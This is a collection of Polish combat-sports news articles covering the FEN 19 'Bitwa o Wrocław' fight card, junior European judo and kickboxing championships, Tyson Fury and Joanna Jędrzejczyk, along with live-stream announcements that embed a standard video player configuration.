Zawodnicy: Róża Gumienna, Arkadiusz Wrzosek, Alan Kwieciński, Marcin Szreder, Marian Ziółkowski, Kamil Paczulski, Bartłomiej "Ruby" Brzeziński, Andrzej Grzebyk, Kamil Łebkowski, Paweł Biszczak, Wojciech Wierzbicki, Igor Kołacin.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Łopaczyk kontra Błeszyński na FEN 19!

Znamy kolejne zestawienie na gali FEN 19 „Bitwa o Wrocław”. 14 października w Hali Orbita o podbój stolicy Dolnego Śląska powalczą Tymoteusz Łopaczyk (2-0, 2 SUB) i Adrian Błeszyński (4-1, 3 KO, 1 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii wagowej do 77 kilogramów.

Łopaczyk to nowa postać na polskim rynku mieszanych sztuk walki, jednak trenujący na co dzień w Bebson Gold Team wojownik już dziś może pochwalić się wieloma sukcesami na swoim koncie. To świeżo upieczony mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów, 21-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt. Ostatnio Łopaczyk otrzymał nominację na brązowy pas w Brazylijskim jiu-jitsu. Walka we Wrocławiu będzie jego debiutem w federacji FEN i największym jak do tej pory wyzwaniem w sportowej karierze.

Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz czwarty w karierze. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 30-letniego „Aresa” budzi ogromne zainteresowanie kibiców. To będzie jego drugie starcie w 2017 roku i drugie w barwach FEN.

– Doświadczenie przemawia za Błeszyńskim, bo to „stary wyga”, co pokazał chociażby w Koszalinie. Łopaczyk to wulkan pozytywnej energii i wiecznie uśmiechnięty gość, który właśnie z uśmiechem na ustach rozprawia się z kolejnymi rywalami. Rozwija się w błyskawicznym tempie, ale teraz stanie naprzeciw człowieka-skały. Zobaczymy, sam jestem ciekawy jak to się skończy – powiedział Paweł Jóźwiak, prezes FEN.

Czwarte zestawienie FEN 19 „Bitwa o Wrocław” jest już zatem znane. Czekamy na odkrycie kolejnych kart!

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl,

Łopaczyk kontra Błeszyński powalczą o podbój Wrocławia!

Trybson z kontraktem FEN, Gumienna i Wrzosek powalczą we Wrocławiu

Stało się! Paweł „Trybson” Trybała (3-2, 3 KO) został nowym zawodnikiem federacji Fight Exclusive Night. W „Bitwie o Wrocław” zobaczymy Różę Gumienną (8-0) oraz Arkadiusza Wrzoska (7-3).

„Trybson” był jednym z uczestników „Summer Camp”, czyli obozu zorganizowanego przez FEN w sierpniu. Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie. – Czemu nie? Jest taki pomysł, pracujemy nad tym. Zobaczymy co się wydarzy. Paweł chce się bić, jest szalenie ambitny. Wierzę w niego, to fajny chłopak i perspektywiczny zawodnik.

Sam „Trybson” angażem w federacji FEN spełnia swoje marzenia, sam powiedział w jednym z wywiadów, każdy kolejny pojedynek to dla niego misja, którą ma zamiar przejść bez szwanku. – Obiecałem córeczkom, że będę wojownikiem i będę walczył. Przegrać nie mogę, bo dałem słowo. Czekam na kolejny pojedynek, kto wie, być może nawet we Wrocławiu? – zakończył.

Kolejne starcie w oktagonie FEN stoczy Róża Gumienna. Przyszła pani doktor Wychowania Fizycznego będzie broniła mistrzowskiego pasa federacji w K-1. Limit wagowy tego starcia to 65 kilogramów. – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław”.

Arkadiusz Wrzosek nudy nie lubi i nudzić nie zamierza się przez najbliższe pięć tygodni, kiedy to wejdzie w decydującą fazę przygotowań do FEN 19. Po pewnym zwycięstwie w połowie marca na warszawskim Torwarze stoczył jeszcze dwa pojedynki i oba wygrał przed czasem. Mimo tego, że w październiku zobaczymy go już po raz czwarty, to sam podkreśla, że jest głodny kolejnych pojedynków i na pewno zrobi wszystko, aby to jego ręka była po walce w górze.

– O walce wiem już od kilku tygodni, trenuję w pocie czoła, by móc cieszyć się ze zwycięstwa. Jestem zdrowy i mentalnie gotowy na wszystko. Wygram! – zapowiada pewny siebie Wrzosek.

Czekamy na decyzję, czy „Trybson” wystąpi we Wrocławiu, rywalkę dla Gumiennej i przeciwnika Wrzoska. Karta 19. edycji zapełnia się coraz bardziej. Kolejne informacje na temat „Bitwy o Wrocław” wkrótce.

Imavov kontra Michalski na FEN 19!

Nassourdine Imavov (2-1, 1 KO, 1 SUB) skonfrontuje się z Michałem Michalskim (5-2, 2 KO, 1 SUB) podczas FEN 19 „Bitwa o Wrocław”. Pojedynek na zasadach MMA odbędzie się w kategorii do 77 kilogramów.

Nassourdine Imavov to młodszy brat Daguira, który jest znaną postacią dla wszystkich kibiców mieszanych sztuk walki w Polsce. Starszy z braci najpierw wygrał podczas 16. edycji z Bartłomiejem Koperą, by dwie galę później w Koszalinie rozprawić się z Kamilem Łebkowskim. Za każdym razem do Polski przylatywał ze swoim młodszym bratem, który teraz dostanie szansę zadebiutowania w oktagonie FEN. Nassourdine w swoim dorobku ma trzy zawodowe walki, w tym dwie zwycięskie. W marcu 2016 roku pokonał przez poddanie Saida Magomeda Tachaeva, rok później skończył przez TKO w pierwszej rundzie Paula Lawrence’a. Żaden z jego pojedynków nie wyszedł nawet poza pierwsze starcie.

Jego rywalem będzie Michalski, czyli stary-dobry znajomy federacji FEN. Michał zadebiutował jeszcze w białym klatkoringu podczas 5. edycji, kiedy to wygrał z Adamem Niedźwiedziem. Swoją szansę dostał podczas kolejnej gali, kiedy pokonał Mariusza Radziszewskiego . Na FEN 9 „Go For It” zwyciężył z Rafałem Blachutą. Jego jedynym pogromcą podczas występów dla Fight Exclusive Night jest Davy Gallon.

– Daguir polecił mi swojego brata, który jego zdaniem będzie w przyszłości lepszy od niego. Warunki fizyczne ma imponujące, widziałem go podczas kilku treningów – chłopak robi ogromne wrażenie. Skonfrontuje się z Michałem Michalskim, którego rok w naszej federacji nie było, ale który jest bardzo doświadczony i głodny kolejnych pojedynków. Kto wygra? Gdybym wiedział, to pewnie bym obstawił werdykt tego pojedynku u bukmachera. Nie wiem, naprawdę nie mam pojęcia. Szykuje się ciekawe starcie – zapowiada ten pojedynek Paweł Jóźwiak.

Znamy już zatem pięć pojedynków FEN 19 „Bitwa o Wrocław”. Kolejne zestawienia zostaną podane w kolejnych tygodniach.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Wrzosek powalczy o pas na FEN 19!

Arkadiusz Wrzosek (7-3) stanie przed szansą wywalczenia pasa federacji FEN w wadze ciężkiej w formule K-1. Jego rywalem będzie Nikolaj Falin (40-13). We Wrocławiu zobaczymy zatem rewanż, gdyż obaj panowie zmierzyli się już podczas FEN 11.

W pierwszm starciu górą był reprezentujący Niemcy Falin, który wygrał przed decyzję sędziów. Wrzosek w tamtym pojedynku pokazał się z dobrej strony, ale górę wzięło doświadczenie, które było po stronie o jedenaście lat starszego Falina.

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. O starciu w Hali Orbita, jak sam przyznał w jednym z wywiadów, dowiedział się dużo szybciej, więc będzie przygotowany na sto procent na to, by podbić Wrocław. Warto dodać, że od porażki z Falinem jest niepokonany.

– Walka o pas dodatkowo mnie motywuję. Wiem, że jestem gotowy na każdego rywala. Młody chłopak idzie po raz pierwszy na trening, by zdobywać trofea. Dla mnie perspektywa wywalczenia pasa FEN to coś, co dodaje mi siły podczas każdego treningu – powiedział Wrzosek.

Liczący 36 lat Nikolaj Falin to postać doskonale znana w europejskim kickboxingu. Urodzony w Kazachstanie fighter był zawodowym mistrzem Niemiec IKBO. W 2011 roku triumfował w piątej edycji turnieju Bigger’s Better w Aarhus w Danii. Prowadzony przez polskiego trenera Franka Lukanowskiego zawodnik wygrał 40 pojedynków, a 13 przegrał. 14 razy nokautował swoich rywali. Od czasu pojedynku z Wrzoskiem do klatki wyszedł raz. W Polsce wygrał w pamiętnym pojedynku z Michałem Turyńskim.

– Trofeum w puli zawsze generuje olbrzymie emocje. Kibice Wrzoska, których pewnie znowu będzie mnóstwo na trybunach, zacierają ręce, bo ich ulubieniec znowu będzie chciał skraść show podczas FEN. Myślę, że to może być najlepszy pojedynek podczas całej gali – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

LIVE: XXVII Warszawska Granda na Pięści i Giry

Zapraszamy na transmisję telewizyjną na żywo z XXVII Warszawskiej Grandy na Pięści i Giry. 

 [kod]

XXVII Warszawska Granda

XXVII Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 19 Bitwa o Wrocław – Trening Medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

FEN 19 Bitwa o Wrocław – Trening Medialny

FEN 19 Bitwa o Wrocław – Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 19 Bitwa o Wrocław – Ceremonia Ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

FEN 19 Bitwa o Wrocław – Ceremonia ważenia

FEN 19 Bitwa o Wrocław – Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Drużynowo bez blasku

Z jednym medalem zakończyli Polacy rywalizację w mistrzostwach Europy juniorów w judo, które odbyły się w Mariborze. Na sam koniec zmagań zaprezentowały się nasze drużyny, jednak wypadły blado.

Biało-czerwoni mieli kilka szans medalowych, jednak tylko Julia Kowalczyk (57kg) stanęła na trzecim stopniu podium.

Trzy „piątki”

Z pewnością w skali szkolnej piątka to spełnienie marzeń i wielka radość. Jednak w przypadku rywalizacji na tatami jest zupełnie odwrotnie. Zajęcie piątego miejsca to dla zawodnika najgorszy z możliwych wyników. 

Anita Formela (+78kg) rywalizację w Mariborze zaczęła wręcz znakomicie, bo dwie walki wygrała przed czasem. Ubiegłoroczna brązowa medalistka mistrzostw Europy juniorów przegrała w półfinale z mistrzynią Europy kadetek Romane Dicko. W starciu o brąz Formela została w końcówce zdyskwalifikowana, a miała na swoim koncie dwa waza ari. Brązową medalistką została Turczynka Kubranur Esir.

Świetnie przygodę z mistrzostwami Europy rozpoczął Kacper Szczurowski (100kg), który w zaledwie osiem sekund rozłożył na łopatki Bośniaka Hadisa Jerlagicia. Łącznie stoczył cztery walki, z których wygrał dwie. W starciu o brąz Szczurowskiego pokonał Daniel Mukete. Dwa pojedynki wygrane przed czasem dawały nadzieję na sukces Jakuba Ozimka (90kg). W półfinale Polaka zatrzymał Mykyta Matlashevskyi. Ozimek stoczył mordercze starcie o brąz, ale po siedmiu minutach triumfował Jamal Petgrave.

Jedyny medal dla Polski wywalczyła Julia Kowalczyk (57kg), dla której było to trzecie z rzędu podium mistrzostw Europy juniorek. W Mariborze w decydującym starciu niespełna 20-letnia judoczka pokonała Jorien Visser. Pisaliśmy o tym tu. https://fightime.pl/pl/wiadomosci/kowalczyk-z-brazem-mistrzostw-europy/

W klasyfikacji medalowej trwała walka między Rosją a Azerbejdżanem. Ostatecznie lepsi okazali się reprezentanci Sbornej, którzy zdobyli dziewięć krążków (3 złote, 3 srebrne i 3 brązowe). Azerbejdżan zanotował siedem medali (3,2,2). Trzecie miejsce w klasyfikacji końcowej dla Francji, która wywalczył siedem krążków (3 złote i 4 brązowe). 

Francja i Azerbejdżan mają najlepsze drużyny

Reprezentacja Polski juniorek walkę w Drużynowych Mistrzostwach Europy rozpoczęła od starcia z Holandią. I na tym ją zakończyła… Polki przegrały 1:4, a zwycięstwo zanotowała Anita Formela. Szczęścia nie mieli również nasi juniorzy. Polacy trafili na mocnych Rosjan i przegrali 1:4.

Wśród kobiet triumfowały Francuzki, które w decydującym starciu pokonały Holenderki. Brązowe medale wywalczyły reprezentacje Rosji i Niemiec. Najlepszą męską drużynę ma Azerbejdżan, który w finale uporał się z Gruzją. Na trzecich pozycjach uplasowali się Brytyjczycy i Rosjanie.

Fot. pzjudo.pl

KM

Kowalczyk z brązem mistrzostw Europy

Julia Kowalczyk (57kg) wywalczyła brązowy medal mistrzostw Europy w judo, które odbywają się w Mariborze. Tym samym zawodniczka Polonii Rybnik powtórzyła ubiegłoroczny sukces z Malagi.

Kowalczyk sprawiła sobie wspaniały prezent na 20. urodziny, które będzie obchodziła za dwa tygodnie. Reprezentantka Polki udowodniła, że jej wcześniejsze wyniki nie były dziełem przypadku.

Brąz jej się trzyma

Kowalczyk zbiera dobre recenzje i na tatami radzi sobie coraz lepiej. Rok temu sprawiła sensację zdobywając mistrzostwo Polski w kategorii 57kg. 19-latka pokazała, że jest gotowa do rywalizacji na poziomie seniorskim. Najlepszym potwierdzeniem był tegoroczny występ w Grand Slam w Baku, gdzie Polka sięgnęła po brąz. Kowalczyk znalazła się również w drużynie, która w Warszawie wywalczyła srebro mistrzostw Europy. Judoczka z Rybnika miała okazję zaprezentować się w finałowym boju z Francją (0:5), a indywidualnie odpadła w 1/16 finału. Kolejne tegoroczne starty to występy w zawodach juniorskich. W pucharowych zmaganiach w Leibnitz i Gdyni 19-latka stawała na podium, odpowiednio zajmując trzecie i drugie miejsce.

W związku z osiąganymi przez Kowalczyk wynikami, nie było wątpliwości, że w Mariborze będzie walczyła o medal. W pierwszej walce odprawiła mistrzynię Europy kadetek z ubiegłego roku Gruzinkę Eteri Liparteliani. Iva Oberan nie była w stanie przeciwstawić się Polce, która wygrała przez waza ari. Ciężko było w półfinale. Kowalczyk nie udało się znaleźć recepty na Larissę van Krevel, która zanotowała dwa waza ari, a nasza zawodniczka jedno. Starcie o brąz było niezwykle wyczerpujące. Blisko siedem minut trwała walka Polki z Jorien Visser, ale to Kowalczyk mogła cieszyć się z medalu.

Dla młodej Polki to kolejny medal mistrzostw Europy juniorów. Trzeci z rzędu, ponownie brązowy. I jak tu nie wierzyć słowom piosenki Ryszarda Rynkowskiego? A tak poważnie, Julia Kowalczyk pokazała, że jest powtarzalna. Oby takie wyniki notowała jak najczęściej w startach seniorskich.

Czekamy

Polska ma szansę na poprawienie dorobku medalowego w Mariborze. Na walki o brąz czekają Anita Formela (+78kg) i Kacper Szczurowski (100kg).

Jak wypadli pozostali młodzi Polacy? Paulina Dziopa (78kg) pokonała Darię Kantsavayę z Białorusi, ale w kolejnej walce po niecałej minucie schodziła z tatami jako przegrana. Lepsza od Polki okazała się Niemka Lea Schmid. Sebastian Marcinkiewicz (81kg) zanotował jedną wygraną, a jego udział w mistrzostwach zakończył późniejszy brązowy medalista Jesper Smink. Dwie walki stoczył również Cezary Tchórzewski (73kg). 

Na podium nie znalazł się Jakub Ozimek (90kg). W starciu o brąz górą był Brytyjczyk Jamal Petgrave. 

Bez zwycięstwa rywalizację w Mariobrze zakończyli: Klaudia Cieślik (52kg), Anna Dąbrowska (57kg), Aleksandra Kaleta (52kg), Daria Tymann (78kg), Eliza Wróblewska (78kg), Dominik Majowski (100kg) i Krzysztof Załęczny.

KM

Fury wysyła sygnały

Niby zakończył karierę, jednak nikt nie ma pewności, czy ten stan się niebawem nie zmieni. Tyson Fury pojawił się na sali treningowej po dłuższej przerwie. Czy to jasny sygnał, że zamierza wrócić na ring?

Wokół 29-letniego olbrzyma z Wilmslow zawsze jest sporo zamieszania. Jesienią ubiegłego roku bokser ujawnił problemy, z którymi się zmagał i usunął się w cień. Nie na długo…

Już miał wracać

Ponoć kobiety ciągle zmieniają zdanie i nie mogą się zdecydować, czego chcą. Okazuje się, że niekoniecznie. Ten stereotyp stara się skutecznie obalić Tyson Fury. Blisko dwa lata temu stał się królem boksu, gdy w Dusseldorfie pokonał Władimira Kliczko i przerwał jego hegemonię w wadze ciężkiej. Zgarnął wszystko i został mistrzem świata federacji WBA, IBF i WBO. Cały świat był u stóp Fury'ego, który przystał na opcję rewanżu z Władimirem Kliczko. Stracił pas IBF, bo odmówił starcia z obowiązkowym pretendentem Wiaczesławem Głazkowem. Niby wszystko układane było pod rewanż z Władimirem Kliczko, ale do tej walki nie doszło. Terminy ustalone, ale w ostatniej chwili Fury tłumaczył się kłopotami zdrowotnymi. W końcu problemy Brytyjczyka ujrzały światło dzienne. Alkohol, narkotyki, depresja… Najbliżsi obawiali się o zdrowie i życie boksera.

Sam Fury pogubił się w całej sytuacji. Nie uniósł ciężaru sukcesu i z każdym dniem brnął coraz dalej z uzależnienie i walkę ze światem. Przyzwyczaił wszystkich do ostrej retoryki i nawet w takiej sytuacji jej nie unikał. W październiku ubiegłego roku podjął decyzję o zakończeniu kariery, a boks określił mianem „gów..”. Wystarczyło kilka tygodni, a kierunek, który obrał były mistrz świata wagi ciężkiej uległ totalnej zmianie. Fury snuł wizje na temat swojej walki z Anthony'm Joshuą. Poinformował nawet, że starcie odbędzie się w kwietniu przyszłego roku na stadionie Wembley. Niektórzy już ostrzyli sobie zęby. A w lipcu… Na jednym z portali społecznościowych Fury podziękował kibicom w pięknej podróży.

Chyba nie ma osoby, która byłaby w stanie określić, ile razy 29-latek zmieni jeszcze decyzję. Ostatnio poinformował, że nie wyklucza powrotu na ring. Musi tylko odzyskać licencję bokserską i zbić wagę. Pojawił się również na sali treningowej w Belfaście, co również może sugerować, że wcześniejsze deklaracje nie były czczym gadaniem. Ale czy w przypadku Fury'ego można mieć jakąkolwiek pewność?

Mistrz wierzy w powrót rodaka

Czempion IBF, IBO i WBA Anthony Joshua, który przygotowuje się do październikowej walki z Kubratem Pulewem nie wyklucza, że Tyson Fury wróci na ring. – Całe życie oddajesz boksowi. Możesz mieć rok lub dwa przerwy, ale wrócisz do tego – podkreśla 27-latek.

KM

Namajunas na drodze Jędrzejczyk

W lipcu awansowała na podium wagi słomkowej i poczuła zapach pasa mistrzowskiego. Czy będzie w stanie wyrwać go Joannie Jędrzejczyk? 4 listopada w Madison Square Garden Polka stanie do boju z Rose Namajunas.

Mistrzyni UFC ma status gwiazdy kobiecego MMA. Kolejną zawodniczką, która chce podjąć próbę zrzucenia jej z piedestału jest Rose Namajunas.

Jedna Polka utarła jej nosa

Zarówno Jędrzejczyk, jak i Namajunas rywalizowały z Karoliną Kowalkiewicz i Carlą Esparzą. Z tym, że Polka wychodziła zwycięsko z tych starć, a Amerykanka notowała porażki. W lipcu 2016 w Atlancie Namajunas stoczyła zacięty bój z Karoliną Kowalkiewicz. Panie rozpoczęły spokojnie, a w drugiej rundzie dały pokaz tego, co w kobiecym MMA najlepsze. Lepiej prezentowała się Polka, która skutecznie broniła się przed sprowadzeniami, atakowała kolanami i włączała mocne łokcie. W trzeciej odsłonie Polka kontynuowała strategię, a Namajunas starała się zaskoczyć łodziankę w parterze. Kowalkiewicz wygrała niejednogłośną decyzją sędziów.

Z kolei z Esparzą 25-latka spotkała się w 2014 roku w finale program The Ultimate Fighter. Namajunas wygrała trzy walki, pokonując: Alex Chambers, Joannę Calderwood i Randę Markos. W decydującym starciu przegrała w trzeciej rundzie z Carlą Esparzą, która została pierwszą mistrzynią kategorii słomkowej.

A Jędrzejczyk ma na rozkładzie zarówno Esparzę, jak i Kowalkiewicz. Tą pierwszą znokautowała 14 marca 2015 roku i jest to wyjątkowa data, bo wtedy olsztynianka sięgnęła po pas w kategorii słomkowej. Od tamtego czasu Joanna Jędrzejczyk jest rozpędzona i zachwyca wszystkich obserwatorów swoimi umiejętnościami. Polka pięć razy skutecznie broniła pasa mistrzowskiego. W szóstej spotka się z Amerykanką, która swoją przygodę ze sportami walki zaczęła w wieku pięciu lat. Najpierw trenowała taekwondo, a następnie karate i jiu-jitsu.

W tym roku Rose Namajunas pokonała Michelle Waterson i zapisała na swoim koncie szóste zwycięstwo w karierze. Co ciekawe, jeszcze nigdy pojedynek z udziałem Amerykanki nie zakończył się nokautem. Aż pięć walk Namajunas wygrała przez poddanie. Z kolei Jędrzejczyk jest zawodniczką znakomicie przygotowaną kondycyjne do rywalizacji. Ostatnie cztery walki wygrała po upływie pięciu rund.

Powrót St. Pierre'a

Podczas gali UFC 217, która odbędzie się 4 listopada w Nowym Jorku 28 walkę w karierze stoczy legendarny Georges St. Pierre. 36-letni Kanadyjczyk dwukrotnie zdobywał pas wagi półśredniej. Po raz ostatni St. Pierre walczył w listopadzie 2013 roku, kiedy pokonał Johny'ego Hendricksa. W Nowym Jorku zmierzy się 38-letnim Michaelem Bispingiem, który jest mistrzem wagi średniej.

KM

„Trybson” podpisał umowę z FEN

Obok Pawła „Trybsona” Trybały nie można przejść obojętnie. Co i raz wokół zawodnika robi się głośno. Tym razem o „Trybsonie” na płaszczyźnie sportowej – Trybała podpisał umowę z federacją Fight Exclusive Night.

Ostatnio 26-latek prezentował się na galach PLMMA, ale nie brakowało głosów o problemach finansowych organizacji. Niewykluczone, że Trybała w nowej federacji zadebiutuje już 14 października.

„Trybson” przyciąga

Paweł Trybała popularność zdobył występując w jednym z programów rozrywkowych. Stał się bohaterem portali plotkarskich, co przełożyło się na jego rozpoznawalność. Postanowił spróbować swoich sił w MMA. Do historii przejdą jego utarczki słowne z Marcinem Najmanem, podczas których panowie nie szczędzili sobie uprzejmości. Na czerwcowej konferencji prasowej w Toruniu, zapowiadającej październikową galę PLMMA 74, „Trybson” rzucił w Najmana… słomką ptysiową. Omal nie doszło do rękoczynów. 

Trybała znany jest z ostrego języka i porywczego zachowania, ale teraz ma rozpocząć nowy rozdział w karierze. W sierpniu wziął udział w obozie treningowym FEN. Zaprezentował się na tyle dobrze, że organizacja postanowiła podpisać z nim kontrakt. – Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie – poinformowała organizacja Fight Exclusive Night.

Teraz przed Trybałą praca nad kondycją. Co do jego występu we Wrocławiu nie zapadły żadne decyzje. Ale walka „Trybsona” mogłaby być prawdziwym magnesem dla miłośników MMA. Po raz ostatnim Trybała rywalizował w maju na gali PLMMA 73. Przegrał przez poddanie z Adamem Niedźwiedziem, zaś w marcu szybko uporał się z Pawłem Bolanowskim.

Gwiazd nie zabraknie

14 października mistrzowskiego pasa FEN w K-1 w wadze piórkowej będzie broniła Róża Gumienna. Wrocławianka wywalczyła tytuł w styczniu w Lubinie, gdzie pokonała Martinę Fendrichovą. Podczas FEN 19 będzie broniła pasa po raz pierwszy. 

We Wrocławiu zaprezentuje się również Arkadiusz Wrzosek (K-1, +95kg). W marcu, na FEN 16, pokonał Artur Bizewskiego jednogłośną decyzją sędziów.

W walce wieczoru gali FEN 19 „Bitwa o Wrocław” mistrz wagi piórkowej Paweł Biszczak zmierzy się z Wojciechem Wierzbickim.

Fot. Facebook

KM

Młodzi Polacy zdobyli 66 medali!

To jest dopiero dorobek! Te liczby robią ogromne wrażenie i pokazują, że polski kickboxing ma mocny fundament. W mistrzostwach Europy juniorów i kadetów w Skopje Polacy zdobyli 66 medali. Najlepsi w całym turnieju byli Rosjanie – 135 krążków.

Biało-czerwoni zajęli 10. miejsce w klasyfikacji medalowej, choć pod względem liczby zdobytych medali byli trzeci. O kolejności zadecydowały krążki z najcenniejszego kruszcu. Tych Polacy zdobyli dziewięć.

Są powody do radości

Ile razy załamujemy ręce w przypadku naszych narodowych i niezwykle popularnych dyscyplin? Jeszcze kiedyś śpiewaliśmy „Polacy nic się nie stało”. Teraz sytuacja jest zgoła odmienna. Jednak w przypadku innych dyscyplin należy spuścić zasłonę milczenia. Ostatnie występy siatkarzy i koszykarzy rozczarowały. A nasi kickboxerzy zawsze spisują się na medal. Niezależnie, czy mówimy o kadetach, juniorach czy seniorach.

Tym razem mowa o tych dwóch pierwszych kategoriach wiekowych. Początek września to podróż 150-osobowej reprezentacji Polski kadetów i juniorów do Skopje. W stolicy Macedonii łącznie zaprezentowało się ponad 1500 zawodników. Polacy zakończyli rywalizację z dorobkiem 66 medali, w tym 9 złotych, 11 srebrnych i 46 brązowych. Najwięcej, bo cztery krążki z najcenniejszego kruszcu, biało-czerwoni wywalczyli w formule kick light. Na najwyższym stopniu podium stanęli: Klara Piętak (65kg, junior), Krzysztof Łuniewicz-Stępniak (74kg, junior), Michał Adamek (94kg, junior), Jonatan Babińczuk (52kg, kadet starszy). W low-kicku po złoto sięgnęli Zuzanna Matusiewicz (70kg, junior starszy) oraz Michał Kuźniak (81kg, junior młodszy), a w full contact – Jolanta Cichoń (+70kg, junior starszy) i Kacper Dąbrowski (91kg, junior starszy). Z kolei w light contact triumfował Cezary Pleta (94kg, junior).

O ocenę startu biało-czerwonych poprosiliśmy prezesa Polskiego Związku Kickboxingu Piotra Siegoczyńskiego. – Zdobyliśmy dużo medali, ale mogliśmy jeszcze więcej wycisnąć. Mistrzostwa Europy są specyficzną imprezą, więc cieszymy się z tego, co osiągnęliśmy. Mocno obsadzone były kategorie w formułach pointfighting i light contact. W niektórych walkach sędziowie wydali wątpliwe werdykty – powiedział nam trzykrotny mistrz świata.

Dobre widoki na przyszłość

Młodzi kickboxerzy dają nadzieję, że w kolejnych latach możemy być spokojni o sukcesy. – To musi być dobrze wyglądająca piramida. Szkolimy zawodników, aby doskonalili się i odnosili sukcesy również na poziomie seniorskim. Teraz uważnie będziemy przyglądać się juniorom. Ważne, żeby się pokazywali i zdobywali doświadczenie – mówi Piotr Siegoczyński.

Pierwsza trójka mistrzostw Europy: Rosja (135 medali, – 57, 45, 33), Węgry (72 – 20, 22, 30) i Włochy (60 – 18, 17, 25).

KM

LIVE: Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact 2017

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski w Kickboxingu Seniorów i Weteranów w formule Light-Contact. Zawody odbędą się w dniach 16-17 września 2017 r. we Włoszakowicach.

[kod]

Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact

Mistrzostw Polski w Kickboxingu Seniorów i Weteranów Light Contact

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_KickLight_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_KickLight_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_KickLight_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_KickLight_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

